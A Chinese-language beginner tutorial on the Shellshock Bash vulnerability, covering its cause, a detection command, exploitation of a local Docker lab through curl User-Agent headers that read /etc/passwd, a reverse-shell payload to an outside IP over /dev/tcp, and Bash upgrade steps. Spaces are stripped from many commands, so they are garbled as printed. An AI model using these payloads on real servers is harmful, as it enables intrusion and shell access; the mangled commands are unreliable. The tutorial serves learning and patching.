大家好,今天来为大家解答shellshock是什么意思、读音这个问题的一些问题点,包括Shellshock漏洞也一样很多人还不知道,因此呢,今天就来为大家分析分析,现在让我们一起来看看吧!如果解决了您的问题,还望您关注下本站哦,谢谢~
本篇文章适合初学ShellShock漏洞阅读,如果您已经学习过ShellShock漏洞,可以直接略过。本篇是我们悬镜安全实验室成员之一Kr0iNg’s在学习ShellShock时分享的一点心得,仅供大家参考学习。
ShellShock漏洞出现时间很早,相信很多人也对ShellShock漏洞有很多的认识了。最近又看学习了下ShellShock漏洞,自己也有一些心得想要分享。
下面我将从4个方面来分享下ShellShock
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。
在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
wgethttp://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:
envx='(){:;};echovulnerable'bash-c"echothisisatest"\n
如果在一个含有版本号小于bash4.3的linux或者unix系统,本地执行以上命令,可能会得到以下输出:
Vulnerablethisisatest\n
其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。
输出vulnerable的话,说明bash有漏洞。
了解bash自定义函数,只需要函数名就能够调用该函数。
funtionShellShock{\necho"Injection"\n}\n
ShellShock#调用这个函数
KEY=ShellShock\nVALUE=(){echoInjection;}\n
来看看ShellShock漏洞的真身:
exportShellShock='(){:;};echo;/usr/bin/whoami'\nbash\n>Kr0iNg\n
为什么调用bash的时候输出Injection了呢,看看它内部情况:
KEY=ShellShock\nVALUE=(){:;};echo;/usr/bin/whoami\n
bash读取了环境变量,在定义ShellShock之后直接调用了后面的bash命令。
一旦调用bash,自定义的语句就直接触发。
我们先来看一下这个漏洞形成的原因。这个问题的发生是因为Bash的一个功能,它允许在Bash的shell中使用环境变量来定义函数。
函数的作用是把经常调用的代码封装起来,然后在其他地方调用,所有的大多数脚本语言都有这个功能。
functionShellShock{\nechohello\n}\n
hello#调用这个函数
但是,Bash还有一种使用环境变量来定义函数的方法,这是它的特性。
如果环境变量的值以字符”(){“开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。
?~exportShellShock="(){echoHelloShellShock;}"\n?~ShellShock\nbash:ShellShock:commandnotfound\n?~bash\nbash-4.1$ShellShock\nHelloShellShock\nbash-4.1$\n
利用存在漏洞版本的bash用export引入触发ShellShock来执行代码测试。
这段的意思就是引入ShellShock这个函数(函数名可任意)
exportShellShock="(){echoThisisShellShock;}\n
分号作为分隔来执行系统命令
我用docker在本地pull了一份存在Shellshock漏洞的程序进行测试。
docker搭建、安装教程docker安装教程
dockerrun-d-p8000:80-v/Users/Kr0iNg/Desktop/路径漏洞镜像名称:latest
将它的端口转发到本机进行访问。
进行Shellshock漏洞测试,使用工具curl。
curl-A“(){echoShellShock;};echo;/bin/cat/etc/passwd”http://127.0.0.1:8000/cgi-bin/vulnerable
使用curl-A或者-H参数模拟Http头命令,并调用“cat/etc/passwd”读passwd文件,发送到存在Bash漏洞的docker容器,成功读取到了passwd文件内容。
修改http协议中的User-Agent字段为:
(){:;};echo;/bin/cat/etc/passwd\n
成功读取passwd文件。
发送http请求进行测试反弹shell。
User-Agent:(){:;};echo;/bin/bash-i>&/dev/tcp/47.92.80.16/12340>&1\n
反弹成功,可以查看用户名,目录,系统版本等信息。
现在可以按照下面方式进行Bash的升级修复:
apt-getinstallbash\n
RedHat/CentOS/Fedora
brewinstallbash\nsudosh-c'echo"/usr/local/bin/bash">>/etc/shells'\nchsh-s/usr/local/bin/bash\nsudomv/bin/bash/bin/bash-backup\nsudoln-s/usr/local/bin/bash/bin/bash\n
MacPortssudoportselfupdate
好了,文章到此结束,希望可以帮助到大家。